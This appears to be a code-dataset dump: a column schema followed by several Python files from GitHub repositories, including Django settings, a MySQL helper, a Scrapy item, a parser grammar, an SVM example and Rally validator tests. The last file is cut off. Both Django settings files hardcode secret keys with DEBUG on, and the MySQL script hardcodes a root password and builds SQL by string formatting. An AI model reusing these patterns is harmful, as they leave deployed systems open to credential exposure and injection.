blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
69
license_type
stringclasses
2 values
repo_name
stringlengths
5
118
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
63
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
2.91k
686M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
220 values
src_encoding
stringclasses
30 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
2
10.3M
extension
stringclasses
257 values
content
stringlengths
2
10.3M
authors
listlengths
1
1
author_id
stringlengths
0
212
6a500f04c1fc3aece038e6cbffe9e4fe6de6c402
d35359964e8be35a64020468bca24c570aa084e2
/Web/MyPollSite/MyPollSite/MyPollSite/settings.py
5c0c0729ee4fa4f72d48bd293b272a481ef22f0f
[]
no_license
darszam/Python-Projects
a08165770e249ecd082ad3967490cb22bc86c544
76e6502e1e4bb80157ba1a2cec66703591e21ad3
refs/heads/master
2023-05-08T18:22:59.037779
2021-06-06T20:43:10
2021-06-06T20:43:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,248
py
""" Django settings for MyPollSite project. Generated by 'django-admin startproject' using Django 1.9.1. For more information on this file, see https://docs.djangoproject.com/en/1.9/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.9/ref/settings/ """ import os import posixpath # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.9/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '74ab8146-1ac4-48a9-b2a2-3ac05a303bff' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ # Add your apps here to enable them 'polls.apps.pollsConfig', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'MyPollSite.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'MyPollSite.wsgi.application' # Database # https://docs.djangoproject.com/en/1.9/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/1.9/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/1.9/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.9/howto/static-files/ STATIC_URL = '/static/' STATIC_ROOT = posixpath.join(*(BASE_DIR.split(os.path.sep) + ['static']))
[ "dande2@o2.pl" ]
dande2@o2.pl
815eea1ed249862ef713aeb01d5fbb6f06249302
e298f62ca23b64fed098efa141ecc5ccf2014b63
/DjadminLTE/settings.py
b6ba9295103d20f80f765c365b6f7e1e1e22c576
[]
no_license
huakkai/DjadminLTE
6669addab6601cfb6e6ea9faf9890005fb138801
f1ac0cd9696afcbcb121b7422b65a5f78fe16423
refs/heads/master
2023-03-24T07:01:48.187722
2021-03-24T03:04:46
2021-03-24T03:04:46
349,777,786
0
0
null
null
null
null
UTF-8
Python
false
false
3,177
py
""" Django settings for DjadminLTE project. Generated by 'django-admin startproject' using Django 3.1.7. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ from pathlib import Path # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'd&jhsae_y28k#(layfwo6n2#afd)qbiw&$e#g3tf-8al_gu2*%' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'example', 'django_adminlte', 'django_adminlte_theme', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'DjadminLTE.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [Path(BASE_DIR, 'templates')] , 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'DjadminLTE.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', } } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = '/static/'
[ "huaqiangyan@163.com" ]
huaqiangyan@163.com
b9fb87d81b8ea6206160a6408edaca8fa28184b1
917974ea96ab36b7fa648dd57762b08e0650f459
/MySQL/实例/MysqlOperate.py
4fc8797c3170f610a8f5362ad0be20118f0f1282
[]
no_license
zhoulongqa/pythonCode
0d4957c65d2202f7551ba9ab96c06dd86e7b52d5
8ffd7503c3e50c5039c907fcf60a028e3829ec40
refs/heads/master
2021-09-08T22:23:47.892837
2018-03-12T12:20:10
2018-03-12T12:20:10
124,881,080
0
0
null
null
null
null
UTF-8
Python
false
false
1,406
py
# encoding=utf-8 import MySQLdb import random def getDatabaseConnection(): conn = MySQLdb.connect( host='localhost', port=3306, user='root', passwd='123123', charset='utf8') cur = conn.cursor() return conn, cur def closeDatabase(conn, cur): cur.close() conn.close() def createDatabase(data_base_name): conn,cur = getDatabaseConnection() result = cur.execute( 'create database if not exists %s default charset utf8 collate utf8_general_ci;' % data_base_name) print result closeDatabase(conn, cur) def create_table(database_name, table_sql): conn,cur = getDatabaseConnection() conn.select_db(database_name) result = cur.execute(table_sql) return result closeDatabase(conn, cur) def insert_data(database_name, data_sql): conn,cur = getDatabaseConnection() conn.select_db(database_name) result = cur.execute(data_sql) print result closeDatabase(conn, cur) #createDatabase('wangzeliangDB') table_sql='''CREATE TABLE user( 'id' int(11) default null,'name' VARCHAR(255) DEFAULT NULL,'passwd' VARCHAR(255) DEFAULT NULL,'birthday' DATA DEFAULT NULL)ENGINE=Innodb DEFAULT CHARSET=utf8;''' data_sql = "insert into user values(1,'Tom','123','1990-01-01')" create_table('wangzeliangDB',table_sql) insert_data("wangzeliangDB", data_sql)
[ "noreply@github.com" ]
zhoulongqa.noreply@github.com
36749030fe195b3aeeb43d8845c497d6dea8472e
9416d46188166054782406da5acea9f030ae3dd0
/web_crawler/selenium-test/ant-learn-spider-master/scrapy_cnblogs/scrapy_cnblogs/items.py
752f31a90e2b99a0601abcc409c5bf6718162a79
[]
no_license
Yuhemei/learn-for-python
de518051c4bb45f2b15c680a8b97966123a4c7a6
2347a0af50d0e8dce4b6d099fbff2bf728705b2a
refs/heads/master
2023-08-05T01:24:09.037386
2023-08-02T07:55:17
2023-08-02T07:55:17
232,003,977
0
0
null
null
null
null
UTF-8
Python
false
false
469
py
# Define here the models for your scraped items # # See documentation in: # https://docs.scrapy.org/en/latest/topics/items.html import scrapy class ScrapyCnblogsItem(scrapy.Item): # define the fields for your item here like: # name = scrapy.Field() url = scrapy.Field() title = scrapy.Field() author = scrapy.Field() datetime = scrapy.Field() like_count = scrapy.Field() comment_count = scrapy.Field() view_count = scrapy.Field()
[ "yuhemei8088@163.com" ]
yuhemei8088@163.com
d15edac876db06faf9c9c07283a6d10c33c1f8f7
6d82c2f984855f0d430ebeb9d5d65adae8a6ed94
/cdent/parser/pir/grammar.py
d3816445808fe4d76e78862d1a4b2149f3acea58
[ "BSD-2-Clause", "BSD-3-Clause" ]
permissive
ingydotnet/cdent-py
bce12cfc8ffb10060ba3a67970af3649d01ca37c
013e967f1436269965e166a91e16bcde3995b765
refs/heads/master
2023-05-29T19:11:25.698386
2011-09-21T15:15:08
2011-09-21T15:15:08
139,786
4
2
null
null
null
null
UTF-8
Python
false
false
2,085
py
""" C'Dent Pir parser grammar module. """ from cdent.grammar import * class Grammar(): def __init__(self): self.__dict__.update( { 'BlankLine': Re({'_': '[\\ \\t]*\\r?\\n'}), 'Class': All({'_': [Rule({'_': 'ClassStart'}), Rule({'_': 'ClassBody'}), Rule({'_': 'ClassEnd'})]}), 'ClassBody': All({'_': [Indent({}), Rule({'x': '*', '_': 'Comment'}), Rule({'_': 'Method'}), Any({'x': '*', '_': [Rule({'_': 'Method'}), Rule({'_': 'Comment'})]})]}), 'ClassEnd': Re({'_': ''}), 'ClassStart': Re({'_': '.namespace[\\ \\t]+\\["(\\w+)"\\]\\r?\\n'}), 'Comment': Any({'_': [Rule({'_': 'LineComment'}), Rule({'_': 'BlankLine'})]}), 'DocComment': All({'_': [Rule({'_': 'DocCommentBegin'}), All({'x': '*', '_': [Rule({'!': True, '_': 'DocCommentEnd'}), Rule({'_': 'DocCommentLine'})]}), Rule({'_': 'DocCommentEnd'})]}), 'DocCommentBegin': Re({'_': '#{3}\\r?\\n'}), 'DocCommentEnd': Re({'_': '#{3}\\r?\\n'}), 'DocCommentLine': Re({'_': '#[\\ \\t]?(.*\\r?\\n)'}), 'Id': Re({'_': '\\w+'}), 'IncludeCDent': Re({'_': 'use CDent;'}), 'Line': Re({'_': '.*\\r?\\n'}), 'LineComment': Re({'_': '#(.*\\r?\\n)'}), 'Method': All({'_': [Rule({'_': 'MethodStart'}), Rule({'_': 'MethodBody'}), Rule({'_': 'MethodEnd'})]}), 'MethodBody': All({'_': [Indent({}), Rule({'_': 'Statement'}), Any({'x': '*', '_': [Rule({'_': 'Statement'}), Rule({'_': 'Comment'})]}), Undent({})]}), 'MethodEnd': Re({'_': '.end\\r?\\n'}), 'MethodStart': Re({'_': '.sub[\\ \\t]+(\\w+)[\\ \\t]+:method\\r?\\n'}), 'Module': All({'_': [Rule({'_': 'ModuleStart'}), Rule({'x': '?', '_': 'DocComment'}), Rule({'x': '*', '_': 'Comment'}), Rule({'x': '?', '_': 'IncludeCDent'}), Rule({'x': '*', '_': 'Comment'}), Rule({'_': 'Class'}), Any({'x': '*', '_': [Rule({'_': 'Class'}), Rule({'_': 'Comment'})]}), Rule({'_': 'ModuleEnd'}), Rule({'x': '*', '_': 'Comment'})]}), 'ModuleEnd': Re({'_': ''}), 'ModuleStart': Re({'_': ''}), 'PrintLn': Re({'_': 'say[\\ \\t]+(.+)\\r?\\n'}), 'Statement': Any({'_': [Rule({'_': 'PrintLn'}), Rule({'_': 'Comment'})]}), 'line_comment_start': Re({'_': '#'})} )
[ "ingy@ingy.net" ]
ingy@ingy.net
327f9765f5dd9fd7ec5ddb1747f3de2bffe48a72
5acc20092ee93935594a7e0522924245a43e5531
/support_vector_machines/plot_oneclass_svm.py
b3dd6215ed3a9101ee39baa85ae115e8380814cf
[]
no_license
shengchaohua/sklearn-examples
aae2332c4382a57a70c1887777c125e6dc4579d6
1dac6a9b5e703185a8da1df7c724022fbd56a9e4
refs/heads/master
2020-05-05T01:19:20.037746
2019-10-18T08:55:01
2019-10-18T08:55:01
179,599,221
1
0
null
null
null
null
UTF-8
Python
false
false
2,014
py
import numpy as np import matplotlib.pyplot as plt import matplotlib.font_manager from sklearn import svm xx, yy = np.meshgrid(np.linspace(-5, 5, 500), np.linspace(-5, 5, 500)) # Generate train data X = 0.3 * np.random.randn(100, 2) X_train = np.r_[X + 2, X - 2] # Generate some regular novel observations X = 0.3 * np.random.randn(20, 2) X_test = np.r_[X + 2, X - 2] # Generate some abnormal novel observations X_outliers = np.random.uniform(low=-4, high=4, size=(20, 2)) # Fit the model clf = svm.OneClassSVM(nu=0.1, kernel="rbf", gamma=0.1) clf.fit(X_train) y_pred_train = clf.predict(X_train) y_pred_test = clf.predict(X_test) y_pred_outliers = clf.predict(X_outliers) n_error_train = y_pred_train[y_pred_train == -1].size n_error_test = y_pred_test[y_pred_test == -1].size n_error_outliers = y_pred_outliers[y_pred_outliers == 1].size # Plot the line, the points, and the nearest vectors to the plane Z = clf.decision_function(np.c_[xx.ravel(), yy.ravel()]) Z = Z.reshape(xx.shape) plt.title("Novelty Detection") plt.contourf(xx, yy, Z, levels=np.linspace(Z.min(), 0, 7), cmap=plt.cm.PuBu) a = plt.contour(xx, yy, Z, levels=[0], linewidths=2, colors='darkred') plt.contourf(xx, yy, Z, levels=[0, Z.max()], colors='palevioletred') s = 40 b1 = plt.scatter(X_train[:, 0], X_train[:, 1], c='white', s=s, edgecolors='k') b2 = plt.scatter(X_test[:, 0], X_test[:, 1], c='blueviolet', s=s, edgecolors='k') c = plt.scatter(X_outliers[:, 0], X_outliers[:, 1], c='gold', s=s, edgecolors='k') plt.axis('tight') plt.xlim((-5, 5)) plt.ylim((-5, 5)) plt.legend([a.collections[0], b1, b2, c], ["learned frontier", "training observations", "new regular observations", "new abnormal observations"], loc="upper left", prop=matplotlib.font_manager.FontProperties(size=11)) plt.xlabel( "error train: %d/200 ; errors novel regular: %d/40 ; " "errors novel abnormal: %d/40" % (n_error_train, n_error_test, n_error_outliers)) plt.show()
[ "shengchaohua163@163.com" ]
shengchaohua163@163.com
72c6c1035e7eac46699d7b528415c3c567abec3c
7a5148cf1d906546f507d8a67dcf42c1604960ff
/CreateDatabase.py
a2e66dd048ccec49d392409b3ed7fb6ee18995ab
[]
no_license
prerna2896/Percept
4ded7ebd3fc27125c4eb50b24100b6ca6bd2181b
2e6a31d503b47c9d73868111257286b8bb481a43
refs/heads/master
2021-04-15T17:21:15.510328
2018-03-21T18:05:01
2018-03-21T18:05:01
126,219,945
0
0
null
null
null
null
UTF-8
Python
false
false
2,293
py
# A program to create the tables for the inventory database. # There are 4 tables to store the data in the inventory. # Table Users # The username for the user # The password for the user # Table Students # First Name of student # Middle Name of student # Last Name of student # Age of student # University of student # Year of student # Stream of student # Table Mentors # First Name of mentor # Middle Name of mentor # Last Name of mentor # Age of mentor # Profession of mentor # Experience of mentor # Interest of mentor import sqlite3 # Create a connection with the database conn = sqlite3.connect('Percept.db') # cur is used to talk to the database # cur.execute(Query) will execute queries cur = conn.cursor() #Create a table for the users with the login credentials of the user # username and password cur.execute("Create Table Users(" + "Username VARCHAR(100) PRIMARY KEY, " + "password VARCHAR(100) NOT NULL);") conn.commit() #Create a table for the details of student # first name, middle name, last name, age, university, year, stream cur.execute("Create Table Students(" + "FirstName VARCHAR(100) NOT NULL, " + "MiddleName VARCHAR(100), " + "LastName VARCHAR(100) NOT NULL, " + "age INT NOT NULL, " + "University VARCHAR(100) NOT NULL, " + "year INT NOT NULL, " + "stream VARCHAR(100) NOT NULL, " "Username VARCHAR(100) PRIMARY KEY, " + "FOREIGN KEY(Username) REFERENCES Users(Username));" ) conn.commit() #Create a table for the details of mentor # first name, middle name, last name, age, profession, experience, interest cur.execute("Create Table Mentors(" + "FirstName VARCHAR(100) NOT NULL, " + "MiddleName VARCHAR(100), " + "LastName VARCHAR(100) NOT NULL, " + "age INT NOT NULL, " + "Profession VARCHAR(100) NOT NULL, " + "Experience INT NOT NULL, " + "Interest VARCHAR(100) NOT NULL, " + "Username VARCHAR(100) PRIMARY KEY, " + "FOREIGN KEY(Username) REFERENCES Users(Username));" ) conn.commit()
[ "prerna2896@gmail.com" ]
prerna2896@gmail.com
3fa18fbb6c6c984c8016aa0330fccb80274eeeb2
e4414bd8152e52855db7ab9065ae12b7329143e0
/python/src/two_more_random.py
b87bee878dbdfeb7ad6ff81d257bf7e780ba71dd
[]
no_license
catalinc/programmingpraxis-solutions
39cb847877ec46d2fb85740791c24889ab5654a8
c0b13906aa76ffac705bf108db138fb9a38bc16a
refs/heads/master
2021-03-27T16:46:47.781839
2017-09-09T15:17:38
2017-09-09T15:17:38
53,532,233
1
0
null
null
null
null
UTF-8
Python
false
false
623
py
# A solution for http://programmingpraxis.com/2012/08/21/two-more-random-exercises/ import math def rand_middle_square(seed): n = seed seed_len = int(round(math.log(seed, 10))) while True: yield n n = (n * n) / (10 ** (seed_len / 2)) % (10 ** seed_len) def randu(seed): n = seed while True: yield n n = (65539 * n) % 2147483648 def random(count, seed, rand_fn): nums = [] random_gen = rand_fn(seed) for _ in xrange(count): nums.append(random_gen.next()) return nums print(random(5, 675248, rand_middle_square)) print(random(5, 7, randu))
[ "catalin.cristu@gmail.com" ]
catalin.cristu@gmail.com
165974541fa0c85ec03cb313bb773b0a04a0d2e5
8d1acd8a965c004b993d09bd5142a8e539b9d54b
/noteman/noteman/wsgi.py
aa050e674b960031a3c71ad584ccc5fe2166388f
[ "MIT" ]
permissive
jnthnrzr/noted
6d16133bd2ed54167f501589b56b91c767af31bd
7a9a93c829da24dcdc991a90a87dd33357a86508
refs/heads/master
2020-05-15T22:59:26.451303
2019-04-27T19:56:19
2019-04-27T19:56:19
182,539,680
0
0
null
null
null
null
UTF-8
Python
false
false
391
py
""" WSGI config for noteman project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.1/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'noteman.settings') application = get_wsgi_application()
[ "jrozari00@citymail.cuny.edu" ]
jrozari00@citymail.cuny.edu
1a9658d9fae0218278448f9af37f2b5c5e6f3593
b9696a277966d85548ebf23c77d24554dd98b1c1
/LasAndClf-dev/get_data_packages/collectdata2bc.py
9ff8239bd1826c85a88010e5fb370669aed10557
[]
no_license
hsulab/multiVASP
f1d277b015f97532588f4db21ce14bae68dafed9
e05bf8c03ff1653ad2621fdd61b8a706138dc37b
refs/heads/master
2020-03-07T09:12:32.199150
2019-10-22T14:30:18
2019-10-22T14:30:18
127,394,903
0
0
null
null
null
null
UTF-8
Python
false
false
3,986
py
#!/usr/local/bin/python3 # -*- coding: utf-8 -*- import os import re import time import numpy as np import pandas as pd """ """ class GeoData(): # Geometry Features Data def __init__(self, name): self.name = name # Path Settings __dirpath = os.path.join(os.path.expanduser('~'), 'Desktop/CH4_DS') def set_path(self, path): """Set data path.""" self.__dirpath = path def get_path(self): """Get data path.""" self.__dirpath # Get Csv Name def __csvname(self): """Get data csvfile.""" for file_name in os.listdir(self.__dirpath): if re.match(self.name, file_name): csv_name = file_name return csv_name # Get df col=[name, feas] def df(self, numbers=-1): """Get dataframe.""" csv = os.path.join(self.__dirpath, self.__csvname()) df = pd.read_csv(csv, index_col=0) fea_numbers = len(df.columns) - 3 #print(self.name+' has '+str(fea_numbers)+' features.') if numbers == -1: numbers = fea_numbers feas = [] for i in range(3, numbers+3): feas.append(df.columns[i]) return df.loc[:,tuple(['name']+feas)] class EneData(GeoData): 'Energy Data' def allE(self): df = self.df() mtype = [] # mechanism type mE = [] for i in range(df.shape[0]): if df.loc[i, 'E_ts'] == 'np.nan' and df.loc[i, 'E_tsra'] == 'np.nan': mtype.append('np.nan') mE.append('np.nan') elif df.loc[i, 'E_ts'] == 'np.nan' and df.loc[i, 'E_tsra'] != 'np.nan': mtype.append('tsra') mE.append(df.loc[i, 'E_tsra']) elif df.loc[i, 'E_ts'] != 'np.nan' and df.loc[i, 'E_tsra'] == 'np.nan': mtype.append('ts') mE.append(df.loc[i, 'E_ts']) elif df.loc[i, 'E_ts'] > df.loc[i, 'E_tsra']: mtype.append('tsra') mE.append(df.loc[i, 'E_tsra']) else: mtype.append('ts') mE.append(df.loc[i, 'E_ts']) df.loc[:, 'mtype'] = mtype df.loc[:, 'mE'] = mE return df def get_data(): """ Description: Get Geo DataFrame. descriptors: distance 45, angles 360, dihedrals 630. """ print('Load Data...') suf = GeoData('suf').df() hab3 = GeoData('Hab3').df() ch3ab = GeoData('CH3ab').df() # delta_df = pd.DataFrame() delta_df.loc[:, 'name'] = suf.loc[:, 'name'] cols = suf.columns[1:] for col in cols: t = col.strip('suf') delta_df.loc[:, t+'hab3'] = hab3.loc[:, t+'Hab3'] - suf.loc[:, t+'suf'] for col in cols: t = col.strip('suf') delta_df.loc[:, t+'ch3ab'] = ch3ab.loc[:, t+'CH3ab'] - suf.loc[:, t+'suf'] 'Merge geofeas' print('This set has ', delta_df.shape[0], 'samples.') print('This set has ', delta_df.shape[1]-1, 'features.') 'Get numbers of geofeas' print('Merge Data...') E_feas = ['name', 'mtype', 'E_ts', 'E_tsra', 'mE', 'E_Hab3', 'E_CH3ab'] fE = EneData('fE').allE().loc[:, E_feas] # reaction Energy e_numbers = fE.shape[1] di = pd.merge(fE, delta_df, on='name') new_di = di.loc[di.loc[:,'mtype']!='np.nan', :] # !!! new_di = new_di.loc[di.loc[:,'name']!='pureMoO2', :] # CH3ab wrong new_di = new_di.loc[di.loc[:,'name']!='pureMnO2', :] # CH3ab wrong new_di = new_di.loc[di.loc[:,'name']!='dopCrO2_Ru', :] # CH3ab wrong print('Energy and Geometry set has ', new_di.shape[0], 'samples.') print('Energy and Geometry set has ', new_di.shape[1]-5, 'features.') # Save data -> ./CH4_DataSet.csv merged_data_csv = './CH4_neo.csv' print('Save data -> %s' %merged_data_csv) new_di.to_csv(merged_data_csv) return new_di # [name, mtype, mE, geo ... feas] if __name__ == '__main__': 'geoFeatures Total 1035' get_data()
[ "ahcigar@foxmail.com" ]
ahcigar@foxmail.com
57b326779f0d064093b1b2aea7e43c61f5d53144
28f70e3d0b7c17e6a75a4af49034aa0e56ef8e37
/main.py
b9fdf9185816a376920694fd64ab997f5cde19fd
[]
no_license
crimsoncantab/booksurvey
7184bd2fde9bd82a856e7ca5fb5cac379c375c74
83c337a1176c722013763f9fecdf45fcaaa275f9
refs/heads/master
2021-01-19T20:21:54.120887
2014-11-04T16:31:56
2014-11-04T16:31:56
35,062,995
0
0
null
null
null
null
UTF-8
Python
false
false
2,317
py
#!/usr/bin/python3 import itertools from bottle import route, run, view, static_file, redirect, request, response import model import datetime import sys max_votes = model.max_votes db = model.Database(sys.argv[1] if len(sys.argv) > 1 else 'db.db') started = False def auth(method): def wrapper(*args, **kwargs): user = request.get_cookie("user") if user: kwargs['user'] = user return method(*args, **kwargs) else: redirect('/who') return wrapper @route('/admin') @view('admin') def admin(): return dict(started=started) @route('/user', method='post') def user_post(): db.add_user(request.forms.name, float(request.forms.weight)) redirect('/admin') @route('/reset', method='post') def reset(): db.reset() redirect('/admin') @route('/results', method='post') def results(): db.calc_results() redirect('/admin') @route('/start', method='post') def start(): global started started = True redirect('/admin') @route('/stop', method='post') def stop(): global started started = False redirect('/admin') @route('/') @view('index') @auth def index(user): dates = db.get_dates() return dict(has_voted=user in db.votes, users=db.get_users(), foods=db.get_foodplaces(), max_votes=max_votes, results=db.results, winner=db.get_winner(), started=started, dates=dates) @route('/history') @view('history') def history(): date = datetime.datetime.strptime(request.query['date'], '%Y-%m-%d').date() return dict(sel_date=date, dates=db.get_dates(), results=db.get_results(date)) @route('/who', method='get') @view('who') def who_get(): return dict(users=db.get_users()) @route('/who', method='post') def who_post(): response.set_cookie('user', request.forms.user) redirect('/') @route('/food', method='post') def food(): db.add_foodplace(request.forms.name, request.forms.menu, request.forms.loc) redirect('/') @route('/static/<path:path>') def static(path): return static_file(path, root='./static') @route('/survey', method='post') @auth def submit(user): foods = list(request.forms.getall('food'))[:max_votes] print(foods, user) db.votes[user] = foods redirect('/') run(host='localhost', port=8080, reloader=True, debug=True)
[ "mcginnis.loren@gmail.com" ]
mcginnis.loren@gmail.com
01dcf9383bd1b2d317140688094aea86b0f82f71
c36dd5412a1b4dfb3d69bbf7b2a105d3ed1f6360
/lhx_rally/Rally/tests/unit/plugins/common/test_validators.py
8d55f617f60d5ac4ce7d935b9bc175a5a118b27f
[ "Apache-2.0" ]
permissive
joylhx/Rally
2b8804150b85aed29a66b1190c643dd37e05e637
bb52d590d2ff975c3710084297ee26ff8ebe7ef9
refs/heads/master
2021-01-21T20:42:24.984941
2017-09-29T02:48:56
2017-09-29T02:48:56
92,267,712
0
1
null
2017-06-14T09:09:30
2017-05-24T08:16:51
Python
UTF-8
Python
false
false
6,737
py
# Copyright 2017: Mirantis Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import ddt from rally.common.plugin import plugin from rally.common import validation from rally.plugins.common import validators from rally.task import scenario from tests.unit import test class JsonSchemaValidatorTestCase(test.TestCase): def test_validate(self): @plugin.base() class DummyPluginBase(plugin.Plugin, validation.ValidatablePluginMixin): pass @validation.add(name="jsonschema") @plugin.configure(name="dummy_plugin") class DummyPlugin(DummyPluginBase): CONFIG_SCHEMA = {"type": "string"} result = DummyPluginBase.validate("dummy_plugin", None, {}, "foo") self.assertEqual(0, len(result)) result = DummyPluginBase.validate("dummy_plugin", None, {}, 10) self.assertEqual(1, len(result)) self.assertFalse(result[0].is_valid) self.assertIsNone(result[0].etype) self.assertIn("10 is not of type 'string'", result[0].msg) DummyPlugin.unregister() @ddt.ddt class ArgsValidatorTestCase(test.TestCase): @ddt.data(({"args": {"a": 10, "b": 20}}, None), ({"args": {"a": 10, "b": 20, "c": 30}}, None), ({}, "Argument(s) 'a', 'b' should be specified"), ({"args": {"foo": 1}}, "Argument(s) 'a', 'b' should be specified"), ({"args": {"a": 1}}, "Argument(s) 'b' should be specified"), ({"args": {"a": 1, "b": 1, "foo": 2}}, "Unexpected argument(s) found ['foo'].")) @ddt.unpack def test_validate(self, config, err_msg): @plugin.base() class DummyPluginBase(plugin.Plugin, validation.ValidatablePluginMixin): is_classbased = True @validation.add(name="args-spec") @plugin.configure(name="dummy_plugin") class DummyPlugin(DummyPluginBase): def run(self, a, b, c="spam"): pass result = DummyPluginBase.validate("dummy_plugin", None, config, None) if err_msg is None: self.assertEqual(0, len(result)) else: self.assertEqual(1, len(result)) self.assertFalse(result[0].is_valid) self.assertIn(err_msg, result[0].msg) DummyPlugin.unregister() class DummyPlugin2(DummyPluginBase): @scenario.configure(name="dummy_plugin.func_based") def func_based(self, a, b, c="spam"): pass result = scenario.Scenario.validate( "dummy_plugin.func_based", None, config, None) if err_msg is None: self.assertEqual(0, len(result)) else: self.assertEqual(1, len(result)) self.assertFalse(result[0].is_valid) self.assertIn(err_msg, result[0].msg) DummyPlugin2.func_based.unregister() @ddt.ddt class RequiredParameterValidatorTestCase(test.TestCase): @ddt.data(({"args": {"a": 10, "b": 20}}, "a", None, None), ({"args": {"a": 10, "b": 20}}, "c", None, "c parameters are not defined in the benchmark config file"), ({"args": {"a": 10, "b": {"c": 20}}}, [("b", "c")], None, None), ({"args": {"a": 10, "c": 20}}, [("b", "c")], None, None), ({"args": {"a": 10}}, [("b", "c")], None, "c parameters are not defined in the benchmark config file")) @ddt.unpack def test_validate(self, config, params, subdict, err_msg): validator = validators.RequiredParameterValidator(params, subdict) result = validator.validate(None, config, None, None) if err_msg: self.assertEqual(err_msg, result.msg) else: self.assertIsNone(result) class NumberValidatorTestCase(test.TestCase): @staticmethod def get_validator(minval=None, maxval=None, nullable=False, integer_only=False): validator_cls = validation.Validator.get("number") return validator_cls("foo", minval=minval, maxval=maxval, nullable=nullable, integer_only=integer_only) def test_number_not_nullable(self): result = 